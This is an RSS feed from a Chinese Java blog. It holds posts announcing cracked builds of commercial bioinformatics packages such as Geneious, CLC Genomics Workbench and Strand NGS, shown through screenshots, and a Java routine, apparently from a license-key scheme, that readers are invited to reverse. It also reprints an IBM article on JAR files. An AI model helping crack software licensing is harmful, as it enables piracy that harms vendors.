﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-GalaxyPilot —— D.S</title><link>http://www.blogjava.net/galaxyp/</link><description>&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;生命不熄，战斗不止</description><language>zh-cn</language><lastBuildDate>Tue, 28 Apr 2026 19:02:50 GMT</lastBuildDate><pubDate>Tue, 28 Apr 2026 19:02:50 GMT</pubDate><ttl>60</ttl><item><title>java一算法的逆运算，分享出来供有兴趣的朋友研究</title><link>http://www.blogjava.net/galaxyp/archive/2019/11/27/434933.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 27 Nov 2019 08:39:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2019/11/27/434933.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/434933.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2019/11/27/434933.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/434933.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/434933.html</trackback:ping><description><![CDATA[<div>private static void eighth(byte[] target){//[5, 4, 3, 8, 6, 0, 12, 10, 10, 2, 15]</div><div><span style="white-space:pre">	</span>byte abyte0[] = new byte[11];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; long l3 = (target[9] &lt;&lt; 4) + target[10]; //47</div><div>&nbsp; &nbsp; &nbsp; &nbsp; for(int i = 0; i &lt; 9; i++)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long l5&nbsp; = 9L * l3 + (long)i;//423</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long l6;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long l7 = ((l6 = 0x7fffffffL) - 1L) / 256L;//8388607</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long l8 = (l6 &lt;&lt; 1) + 2L;//4294967296</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long l9 = 16807L;//16807</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; long l10 = 1L;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(int i1 = 0; (long)i1 &lt; l5 + 12L; i1++)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if((l10 = (int)(l10 *= l9)) &lt; 0L)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l10 += l8;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; l10 %= l6;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte byte1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte1&nbsp; = (byte)(int)(l10 / l7);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abyte0[i] = (byte)(target[i] - byte1 &amp; 0xf);//[0, 10, 7, 5, 0, 7, 1, 1, 11, 0, 0];</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>}<br />byte参数&nbsp;target 实际值 =[5, 4, 3, 8, 6, 0, 12, 10, 10, 2, 15]，<br />经该方法运算后 abyte0 =[0, 10, 7, 5, 0, 7, 1, 1, 11, 0, 0];<br />现在要根据 abyte0 =[0, 10, 7, 5, 0, 7, 1, 1, 11, 0, 0] 逆向算出 target，数组最后两位可以不管。<br /></div><img src ="http://www.blogjava.net/galaxyp/aggbug/434933.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2019-11-27 16:39 <a href="http://www.blogjava.net/galaxyp/archive/2019/11/27/434933.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CLC Genomics Workbench 12.0.2 破解</title><link>http://www.blogjava.net/galaxyp/archive/2019/07/07/434089.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Sun, 07 Jul 2019 04:35:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2019/07/07/434089.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/434089.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2019/07/07/434089.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/434089.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/434089.html</trackback:ping><description><![CDATA[多年后，再试 CLC Genomics Workbench 授权加密强度。<br />与N年前比，确实强了太多！<br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/1.jpg" border="0" alt="" /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/2.jpg" border="0" alt="" /><br /><div style="position: absolute; width: 104px; height: 104px;"><img  alt="" /></div><img src ="http://www.blogjava.net/galaxyp/aggbug/434089.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2019-07-07 12:35 <a href="http://www.blogjava.net/galaxyp/archive/2019/07/07/434089.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>强悍的Java混淆工具——ZKM</title><link>http://www.blogjava.net/galaxyp/archive/2016/07/19/431240.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 18 Jul 2016 16:07:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2016/07/19/431240.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/431240.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2016/07/19/431240.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/431240.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/431240.html</trackback:ping><description><![CDATA[<img src="http://www.blogjava.net/images/blogjava_net/galaxyp/zkm33.jpg" width="634" height="475" alt="" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/zkm44.jpg" width="934" height="1080" alt="" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/zkm22.jpg" width="874" height="1051" alt="" /><img src ="http://www.blogjava.net/galaxyp/aggbug/431240.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2016-07-19 00:07 <a href="http://www.blogjava.net/galaxyp/archive/2016/07/19/431240.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Strand NGS 2.5.1 破解版</title><link>http://www.blogjava.net/galaxyp/archive/2015/12/14/428641.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 14 Dec 2015 06:39:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2015/12/14/428641.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/428641.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2015/12/14/428641.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/428641.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/428641.html</trackback:ping><description><![CDATA[以此纪念我2015忙碌而充实的一年。<br />N多算法，N多保护，有些难度。<br /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/StriandNGS1.jpg" width="900" height="483" alt="" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/StriandNGS2.jpg" width="650" height="350" alt="" /><img src ="http://www.blogjava.net/galaxyp/aggbug/428641.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2015-12-14 14:39 <a href="http://www.blogjava.net/galaxyp/archive/2015/12/14/428641.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> JAR 文件揭密  探索 JAR 文件格式的强大功能</title><link>http://www.blogjava.net/galaxyp/archive/2014/01/02/408375.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 02 Jan 2014 03:32:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2014/01/02/408375.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/408375.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2014/01/02/408375.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/408375.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/408375.html</trackback:ping><description><![CDATA[<div><div> <div>  <br />原文地址：http://www.ibm.com/developerworks/cn/java/j-jar/<br /><br /><h2>JAR 文件是什么？</h2><p>  JAR 文件格式以流行的 ZIP 文件格式为基础，用于将许多个文件聚集为一个文件。与 ZIP 文件不同的是，JAR 文件不仅用于压缩和发布，而且还用于部署和封装库、组件和插件程序，并可被像编译器和  JVM 这样的工具直接使用。在 JAR 中包含特殊的文件，如 manifests 和部署描述符，用来指示工具如何处理特定的 JAR。</p><p>一个 JAR 文件可以用于：</p><ul><li>用于发布和使用类库</li><li>作为应用程序和扩展的构建单元</li><li>作为组件、applet 或者插件程序的部署单位</li><li>用于打包与组件相关联的辅助资源</li></ul><p>JAR 文件格式提供了许多优势和功能，其中很多是传统的压缩格式如 ZIP 或者 TAR 所没有提供的。它们包括：</p><ul><li><strong>安全性。</strong>可以对 JAR 文件内容加上数字化签名。这样，能够识别签名的工具就可以有选择地为您授予软件安全特权，这是其他文件做不到的，它还可以检测代码是否被篡改过。                      </li><li><strong>减少下载时间。</strong>如果一个 applet 捆绑到一个 JAR 文件中，那么浏览器就可以在一个 HTTP 事务中下载这个  applet 的类文件和相关的资源，而不是对每一个文件打开一个新连接。                      </li><li><strong>压缩。</strong>JAR 格式允许您压缩文件以提高存储效率。                      </li><li><strong>传输平台扩展。</strong>Java 扩展框架 (Java Extensions Framework) 提供了向 Java 核心平台添加功能的方法，这些扩展是用  JAR 文件打包的 (Java 3D 和 JavaMail 就是由 Sun 开发的扩展例子 )。                      </li><li><strong>包密封。</strong>存储在 JAR 文件中的包可以选择进行                      <em>密封</em>，以增强版本一致性和安全性。密封一个包意味着包中的所有类都必须在同一  JAR 文件中找到。                      </li><li><strong>包版本控制。</strong>一个 JAR 文件可以包含有关它所包含的文件的数据，如厂商和版本信息。                      </li><li><strong>可移植性。</strong>处理 JAR 文件的机制是 Java 平台核心 API 的标准部分。                 </li></ul><h3>压缩的和未压缩的 JAR</h3><p><code>jar</code>工具 ( 有关细节参阅                   <a href="http://www.ibm.com/developerworks/cn/java/j-jar/#jartool"><code>jar</code> 工具                 </a>) 在默认情况下压缩文件。未压缩的  JAR 文件一般可以比压缩过的 JAR 文件更快地装载，因为在装载过程中要解压缩文件，但是未压缩的文件在网络上的下载时间可能更长。             </p><h3>META-INF 目录</h3><p> 大多数 JAR 文件包含一个 META-INF 目录，它用于存储包和扩展的配置数据，如安全性和版本信息。Java 2 平台识别并解释 META-INF  目录中的下述文件和目录，以便配置应用程序、扩展和类装载器：</p><ul><li><strong>MANIFEST.MF。</strong>这个                      <em>manifest 文件</em>定义了与扩展和包相关的数据。                      </li><li><strong>INDEX.LIST。</strong>这个文件由                       <code>jar</code>工具的新选项                       <code>-i</code>生成，它包含在应用程序或者扩展中定义的包的位置信息。它是  JarIndex 实现的一部分，并由类装载器用于加速类装载过程。                      </li><li><strong><em>xxx</em>.SF。                     </strong>这是 JAR 文件的签名文件。占位符                      <em>xxx</em>标识了签名者。                      </li><li><strong><em>xxx</em>.DSA。                     </strong>与签名文件相关联的签名程序块文件，它存储了用于签名 JAR 文件的公共签名。                 </li></ul><h3>jar 工具</h3><p> 为了用 JAR 文件执行基本的任务，要使用作为 Java Development Kit 的一部分提供的 Java Archive Tool   (                   <code>jar</code>工具 )。用                   <code>jar</code>命令调用                   <code>jar</code>工具。表 1  显示了一些常见的应用：             </p><h5>表 1. 常见的                   <code>jar</code>工具用法             </h5><table summary="" border="1" cellpadding="3" cellspacing="0" width="100%"><thead><tr><th>功能</th><th>命令</th></tr></thead><tbody><tr><td>用一个单独的文件创建一个 JAR 文件</td><td>jar cf jar-file input-file...</td></tr><tr><td>用一个目录创建一个 JAR 文件</td><td>jar cf jar-file dir-name</td></tr><tr><td>创建一个未压缩的 JAR 文件</td><td>jar cf0 jar-file dir-name</td></tr><tr><td>更新一个 JAR 文件</td><td>jar uf jar-file input-file...</td></tr><tr><td>查看一个 JAR 文件的内容</td><td>jar tf jar-file</td></tr><tr><td>提取一个 JAR 文件的内容</td><td>jar xf jar-file</td></tr><tr><td>从一个 JAR 文件中提取特定的文件</td><td>jar xf jar-file archived-file...</td></tr><tr><td>运行一个打包为可执行 JAR 文件的应用程序</td><td>java -jar app.jar</td></tr></tbody></table><p ibm-back-to-top"=""><a href="http://www.ibm.com/developerworks/cn/java/j-jar/#ibm-pcon">回页首</a></p><h2>可执行的 JAR</h2><p> 一个                  <em>可执行的 jar</em>文件是一个自包含的 Java 应用程序，它存储在特别配置的 JAR 文件中，可以由 JVM 直接执行它而无需事先提取文件或者设置类路径。要运行存储在非可执行的  JAR 中的应用程序，必须将它加入到您的类路径中，并用名字调用应用程序的主类。但是使用可执行的 JAR 文件，我们可以不用提取它或者知道主要入口点就可以运行一个应用程序。可执行  JAR 有助于方便发布和执行 Java 应用程序。             </p><h3>创建可执行 JAR</h3><p> 创建一个可执行 JAR 很容易。首先将所有应用程序代码放到一个目录中。假设应用程序中的主类是                   <code>com.mycompany.myapp.Sample</code>。您要创建一个包含应用程序代码的  JAR 文件并标识出主类。为此，在某个位置 ( 不是在应用程序目录中 ) 创建一个名为                   <code>manifest</code>的文件，并在其中加入以下一行：             </p><div><pre> Main-Class: com.mycompany.myapp.Sample</pre></div><p>然后，像这样创建 JAR 文件：</p><div><pre> jar cmf manifest ExecutableJar.jar application-dir</pre></div><p>所要做的就是这些了 -- 现在可以用                   <code>java -jar</code>执行这个 JAR 文件 ExecutableJar.jar。             </p><p>一个可执行的 JAR 必须通过 menifest 文件的头引用它所需要的所有其他从属 JAR。如果使用了                   <code>-jar</code>选项，那么环境变量 CLASSPATH 和在命令行中指定的所有类路径都被 JVM 所忽略。             </p><h3>启动可执行 JAR</h3><p> 既然我们已经将自己的应用程序打包到了一个名为 ExecutableJar.jar 的可执行 JAR 中了，那么我们就可以用下面的命令直接从文件启动这个应用程序：</p><div><pre> java -jar ExecutableJar.jar</pre></div><p ibm-back-to-top"=""><a href="http://www.ibm.com/developerworks/cn/java/j-jar/#ibm-pcon">回页首</a></p><h2>包密封</h2><p> 密封 JAR 文件中的一个包意味着在这个包中定义的所有类都必须在同一个 JAR 文件中找到。这使包的作者可以增强打包类之间的版本一致性。密封还提供了防止代码篡改的手段。</p><p>要密封包，需要在 JAR 的 manifest 文件中为包添加一个                   <code>Name</code>头，然后加上值为&#8220;true&#8221;的                   <code>         Sealed</code>头。与可执行的 JAR 一样，可以在创建 JAR 时，通过指定一个具有适当头元素的 manifest 文件密封一个  JAR，如下所示：             </p><div><pre> Name: com/samplePackage/   Sealed: true</pre></div><p><code>Name</code>头标识出包的相对路径名。它以一个&#8220;/&#8221;结束以与文件名区别。在                   <code>Name</code>头后面第一个空行之前的所有头都作用于在                    <code>Name</code>头中指定的文件或者包。在上述例子中，因为                   <code>Sealed</code>头出现在                   <code>Name</code> 头后并且中间没有空行，所以                   <code>Sealed</code>头将被解释为只应用到包                   <code>com/samplePackage</code> 上。             </p><p>如果试图从密封包所在的 JAR 文件以外的其他地方装载密封包中的一个类，那么 JVM 将抛出一个                   <code>SecurityException</code>。             </p><p>扩展打包                  <br /> 扩展为 Java 平台增加了功能，在 JAR 文件格式中已经加入了扩展机制。扩展机制使得 JAR 文件可以通过 manifest 文件中的                    <code>Class-Path</code>头指定所需要的其他 JAR 文件。             </p><p>假设 extension1.jar 和 extension2.jar 是同一个目录中的两个 JAR 文件，extension1.jar 的  manifest 文件包含以下头：</p><div><pre> Class-Path: extension2.jar</pre></div><p>这个头表明 extension2.jar 中的类是 extension1.jar 中的类的                  <em>扩展类</em>。extension1.jar  中的类可以调用 extension2.jar 中的类，并且不要求 extension2.jar 处在类路径中。             </p><p>在装载使用扩展机制的 JAR 时，JVM 会高效而自动地将在                   <code>Class-Path</code>头中引用的 JAR 添加到类路径中。不过，扩展 JAR 路径被解释为相对路径，所以一般来说，扩展 JAR 必须存储在引用它的 JAR 所在的同一目录中。	             </p><p>例如，假设类                   <code>ExtensionClient</code>引用了类                   <code>ExtensionDemo</code>, 它捆绑在一个名为  ExtensionClient.jar 的 JAR 文件中，而类                   <code>ExtensionDemo</code>则捆绑在 ExtensionDemo.jar  中。为了使 ExtensionDemo.jar 可以成为扩展，必须将 ExtensionDemo.jar 列在 ExtensionClient.jar  的 manifest 的                   <code>Class-Path</code>头中，如下所示：             </p><div><pre> Manifest-Version: 1.0   Class-Path: ExtensionDemo.jar</pre></div><p>在这个 manifest 中                   <code>Class-Path</code>头的值是没有指定路径的 ExtensionDemo.jar，表明 ExtensionDemo.jar 与 ExtensionClient JAR 文件处在同一目录中。             </p><p ibm-back-to-top"=""><a href="http://www.ibm.com/developerworks/cn/java/j-jar/#ibm-pcon">回页首</a></p><h2>JAR 文件中的安全性</h2><p>  JAR 文件可以用                   <code>jarsigner</code>工具或者直接通过                   <code>java.security</code>API  签名。一个签名的 JAR 文件与原来的 JAR 文件完全相同，只是更新了它的 manifest，并在 META-INF 目录中增加了两个文件，一个签名文件和一个签名块文件。             </p><p>JAR 文件是用一个存储在                  <em>Keystore</em>数据库中的证书签名的。存储在 keystore 中的证书有密码保护，必须向                    <code>jarsigner</code>工具提供这个密码才能对 JAR 文件签名。             </p><h5>图 1. Keystore 数据库 </h5><img alt="Keystore 数据库" src="http://www.ibm.com/developerworks/cn/java/j-jar/images/keystoredatabase.gif" width="324" /><p>JAR 的每一位签名者都由在 JAR 文件的 META-INF 目录中的一个具有 .SF 扩展名的签名文件表示。这个文件的格式类似于 manifest  文件 -- 一组 RFC-822 头。如下所示，它的组成包括一个主要部分，它包括了由签名者提供的信息、但是不特别针对任何特定的 JAR 文件项，还有一系列的单独的项，这些项也必须包含在  menifest 文件中。在验证一个签名的 JAR 时，将签名文件的摘要值与对 JAR 文件中的相应项计算的摘要值进行比较。</p><h5>清单 1. 签名 JAR 中的 Manifest 和 signature 文件</h5><div><pre>Contents of signature file META-INF/MANIFEST.MF   Manifest-Version: 1.0   Created-By: 1.3.0 (Sun Microsystems Inc.)   Name: Sample.java   SHA1-Digest: <br />3+DdYW8INICtyG8ZarHlFxX0W6g=   Name: Sample.class   SHA1-Digest: YJ5yQHBZBJ3SsTNcHJFqUkfWEmI=   Contents of signature file META-INF/JAMES.SF   <br />Signature-Version: 1.0   SHA1-Digest-Manifest: HBstZOJBuuTJ6QMIdB90T8sjaOM=   Created-By: 1.3.0 (Sun Microsystems Inc.)   Name: Sample.java   SHA1-Digest: <br />qipMDrkurQcKwnyIlI3Jtrnia8Q=   Name: Sample.class   SHA1-Digest: pT2DYby8QXPcCzv2NwpLxd8p4G4=</pre></div><h3>数字签名</h3><p> 一个数字签名是 .SF 签名文件的已签名版本。数字签名文件是二进制文件，并且与 .SF 文件有相同的文件名，但是扩展名不同。根据数字签名的类型  -- RSA、DSA 或者 PGP -- 以及用于签名 JAR 的证书类型而有不同的扩展名。</p><h3>Keystore</h3><p> 要签名一个 JAR 文件，必须首先有一个私钥。私钥及其相关的公钥证书存储在名为                   <code>keystores</code>的、有密码保护的数据库中。JDK  包含创建和修改 keystores 的工具。keystore 中的每一个密钥都可以用一个别名标识，它通常是拥有这个密钥的签名者的名字。             </p><p>所有 keystore 项 ( 密钥和信任的证书项 ) 都是用唯一别名访问的。别名是在用                   <code>keytool -genkey</code> 命令生成密钥对 ( 公钥和私钥 ) 并在 keystore 中添加项时指定的。之后的                   <code>keytool</code>命令必须使用同样的别名引用这一项。             </p><p>例如，要用别名&#8220;james&#8221;生成一个新的公钥 / 私钥对并将公钥包装到自签名的证书中，要使用下述命令：</p><div><pre> keytool -genkey -alias james -keypass jamespass          -validity 80 -keystore jamesKeyStore          -storepass jamesKeyStorePass</pre></div><p>这个命令序列指定了一个初始密码&#8220;jamespass&#8221;，后续的命令在访问 keystore &#8220;jamesKeyStore&#8221;中与别名&#8220;james&#8221;相关联的私钥时，就需要这个密码。如果 keystore&#8220;jamesKeyStore&#8221;不存在，则                   <code>keytool</code>会自动创建它。             </p><h3>jarsigner 工具</h3><p><code>jarsigner</code>工具使用 keystore 生成或者验证 JAR 文件的数字签名。             </p><p>假设像上述例子那样创建了 keystore &#8220;jamesKeyStore&#8221;，并且它包含一个别名为&#8220;james&#8221;的密钥，可以用下面的命令签名一个  JAR 文件：</p><div><pre> jarsigner -keystore jamesKeyStore -storepass jamesKeyStorePass            -keypass jamespass -signedjar SSample.jar Sample.jar james</pre></div><p>这个命令用密码&#8220;jamesKeyStorePass&#8221;从名为&#8220;jamesKeyStore&#8221;的 keystore 中提出别名为&#8220;james&#8221;、密码为&#8220;jamespass&#8221;的密钥，并对  Sample.jar 文件签名、创建一个签名的 JAR -- SSample.jar。</p><p><code>jarsigner</code>工具还可以验证一个签名的 JAR 文件，这种操作比签名 JAR 文件要简单得多，只需执行以下命令：             </p><div><pre> jarsigner -verify SSample.jar</pre></div><p>如果签名的 JAR 文件没有被篡改过，那么                   <code>jarsigner</code>工具就会告诉您 JAR 通过验证了。否则，它会抛出一个                    <code>SecurityException</code>， 表明哪些文件没有通过验证。             </p><p>还可以用                   <code>java.util.jar</code>和                   <code>java.security</code>API 以编程方式签名  JAR( 有关细节参阅                  <a href="http://www.ibm.com/developerworks/cn/java/j-jar/#resources">参考资料</a>)。也可以使用像 Netscape Object Signing   Tool 这样的工具。             </p><p ibm-back-to-top"=""><a href="http://www.ibm.com/developerworks/cn/java/j-jar/#ibm-pcon">回页首</a></p><h2>JAR 索引</h2><p> 如果一个应用程序或者 applet 捆绑到多个 JAR 文件中，那么类装载器就使用一个简单的线性搜索算法搜索类路径中的每一个元素，这使类装载器可能要下载并打开许多个  JAR 文件，直到找到所要的类或者资源。如果类装载器试图寻找一个不存在的资源，那么在应用程序或者 applet 中的所有 JAR 文件都会下载。对于大型的网络应用程序和  applet，这会导致启动缓慢、响应迟缓并浪费带宽。</p><p>从 JDK 1.3 以后，JAR 文件格式开始支持索引以优化网络应用程序中类的搜索过程，特别是 applet。JarIndex 机制收集在  applet 或者应用程序中定义的所有 JAR 文件的内容，并将这些信息存储到第一个 JAR 文件中的索引文件中。下载了第一个 JAR 文件后，applet  类装载器将使用收集的内容信息高效地装载 JAR 文件。这个目录信息存储在根 JAR 文件的 META-INF 目录中的一个名为 INDEX.LIST  的简单文本文件中。</p><p>创建一个 JarIndex                   <br /> 可以通过在                   <code>jar</code>命令中指定                   <code>-i</code>选项创建一个 JarIndex。假设我们的目录结构如下图所示：             </p><h5>图 2. JarIndex  </h5><img alt="JarIndex Demo" src="http://www.ibm.com/developerworks/cn/java/j-jar/images/jarindex.gif" width="329" /><p>您将使用下述命令为 JarIndex_Main.jar、JarIndex_test.jar 和 JarIndex_test1.jar 创建一个索引文件：</p><div><pre> jar -i JarIndex_Main.jar JarIndex_test.jar SampleDir/JarIndex_test1.jar</pre></div><p>INDEX.LIST 文件的格式很简单，包含每个已索引的 JAR 文件中包含的包或者类的名字，如清单 2 所示：</p><h5>清单 2. JarIndex INDEX.LIST 文件示例</h5><div><pre> JarIndex-Version: 1.0   JarIndex_Main.jar   sp   JarIndex_test.jar   Sample   SampleDir/JarIndex_test1.jar   org   org/apache   org/apache/xerces   <br />org/apache/xerces/framework   org/apache/xerces/framework/xml4j</pre></div><p ibm-back-to-top"=""><a href="http://www.ibm.com/developerworks/cn/java/j-jar/#ibm-pcon">回页首</a></p><h2>结束语</h2><p>  JAR 格式远远超出了一种压缩格式，它有许多可以改进效率、安全性和组织 Java 应用程序的功能。因为这些功能已经建立在核心平台 -- 包括编译器和类装载器  -- 中了，所以开发人员可以利用 JAR 文件格式的能力简化和改进开发和部署过程。.</p>   </div> </div>         <h2>参考资料 </h2><ul><li>您可以参阅本文在 developerWorks 全球站点上的                      <a href="http://www.ibm.com/developerworks/library/j-jar/index.html?S_TACT=105AGX52&amp;S_CMP=cn-a-j">英文原文</a>.                  </li><li>参阅                      <a href="http://java.sun.com/docs/books/tutorial/jar/basics/index.html">jar</a> 实用程序的命令行选项的文档。                      </li><li>Raffi Krikorian 在 ONJava 上发表的文章提供了有关                      <a href="http://www.onjava.com/pub/a/onjava/2001/04/12/signing_jar.html?page=1">programmatically   signing a JAR file</a>的帮助。                      </li><li>文章&#8220;                      <a href="http://www.ibm.com/developerworks/cn/java/j-webstart/">Java   Web Start</a>&#8221;(                       <em>developerWorks</em>，2001 年 9 月 ) 描述了如何使用这种技术，以便允许应用程序可以指定所需的  JAR 文件并动态下载它们。                      </li><li>在                      <a href="http://www.ibm.com/developerworks/cn/java/"><em>developerWorks</em>  Java 技术专区                     </a>上可以找到数百篇关于 Java 编程的各个方面的文章。                      </li></ul></div><img src ="http://www.blogjava.net/galaxyp/aggbug/408375.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2014-01-02 11:32 <a href="http://www.blogjava.net/galaxyp/archive/2014/01/02/408375.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Geneious R7 7.0.2 破解版</title><link>http://www.blogjava.net/galaxyp/archive/2013/10/15/405027.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Tue, 15 Oct 2013 13:41:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2013/10/15/405027.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/405027.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2013/10/15/405027.html#Feedback</comments><slash:comments>73</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/405027.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/405027.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;请勿在留言中留邮箱，否则你的邮箱收到什么样的邮件都与我无关。<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em><strike>确实是穷学生可以发私信给我。</strike></em>(赠送六人，很是失望，赠送结束，请勿留言或发私信)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_7.0.2_stu.JPG" border="0" /><br /><img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_7.0.2_non.JPG" border="0" /><br /><img alt="" src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_7.0.2_com.JPG" border="0" /><img src ="http://www.blogjava.net/galaxyp/aggbug/405027.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2013-10-15 21:41 <a href="http://www.blogjava.net/galaxyp/archive/2013/10/15/405027.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Geneious Pro 6.0.4 破解</title><link>http://www.blogjava.net/galaxyp/archive/2012/12/10/392726.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Mon, 10 Dec 2012 06:55:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2012/12/10/392726.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/392726.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2012/12/10/392726.html#Feedback</comments><slash:comments>175</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/392726.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/392726.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 个人爱好，算法分析晚点贴出来。<br />&nbsp;&nbsp;&nbsp;&nbsp; 改了个标题，&#8220;算法分析&#8221;取掉了，暂时不贴算法分析，等官方出新版本了贴算法。<br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_Pro_6.0.4_1.JPG" alt="" border="0" height="720" width="1100" /><br /><img src="http://www.blogjava.net/images/blogjava_net/galaxyp/Geneious_Pro_6.0.4_2.JPG" alt="" border="0" height="528" width="614" /><img src ="http://www.blogjava.net/galaxyp/aggbug/392726.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2012-12-10 14:55 <a href="http://www.blogjava.net/galaxyp/archive/2012/12/10/392726.html#Feedback" target="_blank" 